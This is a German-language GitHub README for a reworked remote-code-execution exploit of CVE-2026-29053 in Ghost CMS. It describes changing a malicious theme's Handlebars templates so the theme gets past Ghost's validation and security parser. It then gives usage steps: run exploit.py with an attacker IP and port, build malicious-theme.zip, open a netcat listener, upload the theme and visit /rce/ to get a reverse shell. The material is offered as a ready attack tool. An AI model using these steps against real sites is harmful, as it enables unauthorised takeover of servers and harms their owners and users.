ac8999/cve-2026-29053(RCE)-Schwachstelle entdeckt in Ghost CMS (betrifft insbesondere die Versionen 0.7.2 bis 6.19.0)
Dies ist eine Überarbeitung des Repos von rootxran für dieselbe CVE - https://github.com/rootxran/CVE-2026-29053
Bei Tests gegen bestimmte Ghost-CMS-Umgebungen löste das ursprüngliche Theme-Payload einen Fatal Handlebars Error aus. Das CMS konnte das bösartige Theme nicht aktivieren, da es auf einen veralteten oder fehlenden Helper (social_url) innerhalb der Datei author.hbs verwies.
Ich habe die Handlebars-Templates aktualisiert, um native, kompatible Helper zu verwenden. Dadurch besteht das Theme die internen Validierungsprüfungen von Ghost, sodass der Exploit erfolgreich aktiviert werden kann, ohne vom Sicherheitsparser der Theme-Engine blockiert zu werden.
Verwendung: (siehe den ursprünglichen Exploit für die Videoanleitung).
┌──(root㉿user)-[/tmp/CVE-2026-29053]
└─# python3 exploit.py -i 10.10.15.93 -p 4444
[+] Payload: 10.10.15.93:4444
[+] Created: /tmp/CVE-2026-29053/malicious-theme.zip
1. nc -lvnp 4444
2. Upload theme, create page with slug 'rce'
3. Visit /rce/